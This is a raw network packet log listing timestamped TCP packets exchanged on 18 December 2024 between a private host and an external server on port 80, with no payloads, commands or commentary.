Dec 18, 2024 14:07:43.472199917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.473001957 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.473107100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.473150969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.473721981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.473849058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.473897934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.474376917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.474548101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.474606991 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.475085974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.475369930 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.475413084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.475853920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.476115942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.476159096 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.476871014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.476922989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.476973057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.477466106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.477552891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.477598906 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.478295088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.478471994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.478513956 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.479053020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.479151964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.479197025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.479927063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.480058908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.480104923 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.480775118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.480788946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.480827093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.481770039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.481781960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.481822014 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.482376099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.482537985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.482585907 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.483223915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.483309984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.483365059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.484081984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.484325886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.484375000 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.485028028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.485145092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.485189915 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.485688925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.485896111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.485940933 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.486562967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.486824989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.486871958 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.487365961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.487484932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.487528086 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.488204002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.488343000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.488392115 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.488986015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.534599066 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.580372095 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.580466986 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.580609083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.580790043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.580905914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.580967903 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.582058907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.582175970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.582578897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.582591057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.582603931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.582650900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.583292961 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.583396912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.583444118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.584059000 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.584105015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.584150076 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.584861040 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.584973097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.585022926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.585741043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.585856915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.585906982 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.586595058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.586663008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.586718082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.587832928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.587984085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.588357925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.588409901 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.588520050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.589036942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.589102983 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.589123011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.589873075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.589931965 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.589951038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.590604067 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.590663910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.643944025 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.650491953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.650506973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.650585890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.650763988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.651031017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.651084900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.651789904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.651803970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.651844978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.652498960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.652807951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.652973890 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.653027058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.653817892 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.653831005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.653877020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.654525995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.654577017 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.654647112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.654774904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.654824018 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.655852079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.655999899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.656052113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.656555891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.656740904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.657471895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.657522917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.657655954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.658551931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.658603907 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.658729076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.658781052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.658970118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.659142017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.659195900 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.659862041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.659990072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.660058975 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.660526991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.660703897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.661587954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.661602020 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.661633968 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.661659002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.662853003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.662867069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.662914991 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.663546085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.663561106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.663610935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.664060116 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.664072990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.664125919 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.664617062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.664963007 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.665841103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.665853977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.665887117 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.665925980 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.666184902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.666198015 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.666239023 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.666313887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.666326046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.666368961 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.666434050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.666446924 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.666484118 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.667305946 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.667330980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.667386055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.667984962 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.668152094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.668689013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.668744087 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.668804884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.669498920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.669545889 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.669612885 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.669657946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.670326948 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.670691967 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.671159029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.671207905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.671255112 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.672516108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.672529936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.672568083 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.673043013 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.673094988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.673147917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.673964024 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.674127102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.674844980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.674894094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.674989939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.675174952 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.675759077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.675770998 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.675832033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.676517010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.676567078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.676624060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.677198887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.677212954 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.677261114 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.678046942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.678070068 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.678117990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.681112051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.681126118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.681179047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.681760073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.681772947 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.681915998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.682091951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.682104111 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.682161093 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.682876110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.737759113 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.885524035 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.889254093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.889271975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.889321089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:43.891935110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:43.892004013 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.008883953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.008903980 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.008984089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.011605978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.011626005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.011672974 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128427982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128448009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128465891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128479958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128494978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128506899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128515959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128525972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128537893 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128551006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128587008 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128622055 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128799915 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128818989 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128830910 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128842115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128854990 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128864050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128870010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128890991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128902912 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128914118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.128935099 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.128947020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.129709005 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.129729033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.129741907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.129774094 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.133469105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.133483887 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.133496046 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.133508921 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.133517981 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.133542061 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.134289026 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.134315014 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.134337902 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.134356022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.134370089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.134392977 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.135116100 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.135130882 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.135160923 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.135246992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.135261059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.135283947 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.136039972 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136054993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136081934 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.136109114 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136121988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136133909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136145115 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.136173010 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.136923075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136940002 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136972904 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.136980057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.137001038 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.137022972 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.137741089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.137754917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.137792110 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.138315916 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.138406038 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.138442993 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.138449907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.138463974 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.138498068 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.139293909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.139322996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.139357090 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.139365911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.139378071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.139410973 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.140111923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140125036 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140156031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140168905 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.140176058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140208006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.140868902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140881062 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140918016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.140923977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140939951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.140991926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.141742945 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.141757011 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.141782999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.141802073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.142452955 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.142497063 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.142523050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.142535925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.142560959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.142570019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.143506050 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.143543959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.143837929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.143860102 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:44.143904924 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:44.143953085 CET	80	49707	176.113.115.178	192.168.2.8
